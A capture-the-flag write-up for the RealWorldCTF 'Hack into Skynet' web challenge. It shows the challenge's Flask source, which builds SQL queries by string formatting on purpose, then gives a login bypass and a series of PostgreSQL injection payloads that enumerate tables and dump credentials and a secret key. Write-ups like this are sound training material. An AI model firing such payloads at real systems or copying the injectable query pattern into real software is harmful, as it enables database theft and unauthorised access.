Rating: 5.0

---
title: "RealWorldCTF - Hack into Skynet [Web] (81 solves)"
author: "c7c3r0"
description: "Hack into skynet to save the world, which way do you prefer?"
date: 2022-01-23
---

## Description
Hack into skynet to save the world, which way do you prefer?

## Code Review
```python
import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet #Skynet Code is not provided and is unnecessary in order to complete the challenge

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

def skynet_detect(): #Skynet Attack Detection System
req = {
'method': flask.request.method,
'path': flask.request.full_path,
'host': flask.request.headers.get('host'),
'content_type': flask.request.headers.get('content-type'),
'useragent': flask.request.headers.get('user-agent'),
'referer': flask.request.headers.get('referer'),
'cookie': flask.request.headers.get('cookie'), #If you can get a sessionId you will gain initial system access
'body': str(flask.request.get_data()),
}
_, result = skynet.classify(req)
return result and result['attack'] #On trying dangerous actions you are denoted an attacker from the system (403 You are not Permitted to Access this Page)

@app.route('/static/<path:path>')
def static_files(path):
return flask.send_from_directory('static', path)

@app.route('/', methods=['GET', 'POST'])
def do_query():
if skynet_detect():
return flask.abort(403) #Skynet is being attacked (User is presented with a 403 HTTP Status Code)

if not query_login_state():
response = flask.make_response('No login, redirecting', 302) #No Login Redirecting
response.location = flask.escape('/login')
return response

if flask.request.method == 'GET':
return flask.send_from_directory('', 'index.html') #Show index.html (index.html was never shown in the webpage URL and never used.)
elif flask.request.method == 'POST':
kt = query_kill_time()
if kt:
result = kt
else:
result = ''
return flask.render_template('index.html', result=result) #The result of attacking Skynet (Take a look at line #38.)
else:
return flask.abort(400)

@app.route('/login', methods=['GET', 'POST'])
def do_login():
if skynet_detect():
return flask.abort(403)

if flask.request.method == 'GET':
return flask.send_from_directory('static', 'login.html')
elif flask.request.method == 'POST':
if not query_login_attempt():
return flask.send_from_directory('static', 'login.html')
else:
session = create_session()
response = flask.make_response('Login success', 302) #We needed to bypass the login system
response.set_cookie('SessionId', session) #We needed a valid sessionId. Was provided after success login bypass.
response.location = flask.escape('/')
return response
else:
return flask.abort(400)

def query_login_state():
sid = flask.request.cookies.get('SessionId', '')
if not sid:
return False

now = datetime.datetime.now()
with psycopg2.connect(
host="challenge-db",
database="ctf", #databse
user="ctf", #username
password="ctf") as conn: #password
cursor = conn.cursor()
cursor.execute("SELECT sessionid"
" FROM login_session"
" WHERE sessionid = %s"
" AND valid_since <= %s"
" AND valid_until >= %s"
"", (sid, now, now))
data = [r for r in cursor.fetchall()]
return bool(data)

def query_login_attempt():
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password: #username=&password=ctf(login bypass)
return False

sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[0][1] if user and user[0] and user[0][1] else ''
return name == username

def create_session(): #valid sessionId duration
valid_since = datetime.datetime.now()
valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
" VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
return sessionid

def query_kill_time():
name = flask.request.form.get('name', '')
if not name:
return None

sql = ("SELECT name, born"
" FROM target"
" WHERE age > 0"
" AND name = '{}'").format(name) ##SQLi AV.This is where magic happens.
nb = sql_exec(sql) #On a dangerous sql statement, abort operation.
if not nb:
return None
return '{}: {}'.format(*nb[0])

def sql_exec(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
for row in cursor.fetchall():
data.append([col for col in row])
cursor.close()
except Exception as e:
print(e)
return data

def sql_exec_update(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
conn.commit()
except Exception as e:
print(e)
return data

if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
```

## Inital Access (Login System Bypass)
![](https://files.bitwarriors.net/images/skynet/forward.PNG)
Bypassing the login system with a vanilla sqli injection was impossible.

Looking the source code, bypassing was made possible only after providing the following from our proxy
```username=&password=ctf```.

![](https://files.bitwarriors.net/images/skynet/login_bpass.PNG)
## SQL Injection to reveal the flag
Trying vanilla payloads proved unsuccessful because this is a Postgres SQL Database.
```sql
||name||
```

```sql
'||name LIMIT 3 OFFSET '2
```

```sql
SELECT name, born FROM target WHERE age > 0 AND name = ''||name||'' => SELECT name, born FROM target WHERE age > 0 AND name = name
```
```sql
'; select account, password from target_credentials limit 3 offset '0
```
```sql
'; select name, age from target limit 3 offset '0 ---
```
```sql
'; select table_name, null from information_schema.tables limit 3 offset '0
```
```sql
'; select column_name, null from information_schema.columns where table_name='target' limit 3 offset '0
```
```sql
'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 3 offset '4
```

```sql
'; select secret_key, null from target_credentials limit 3 offset '0
```
![](https://files.bitwarriors.net/images/skynet/flag.PNG)

[challenge](https://files.bitwarriors.net/ctf/RealWorldCTF4/hack_into_skynet_843e0c58997f52e3a65ca9b4c64f2cec.tar.gz)

###### Contributors: `dhmoskfunk` `jimman2003` `un1c0rn`

Original writeup (https://blog.bitwarriors.net/blog/real-world-ctf-hack-into-skynet-web-81-solves/).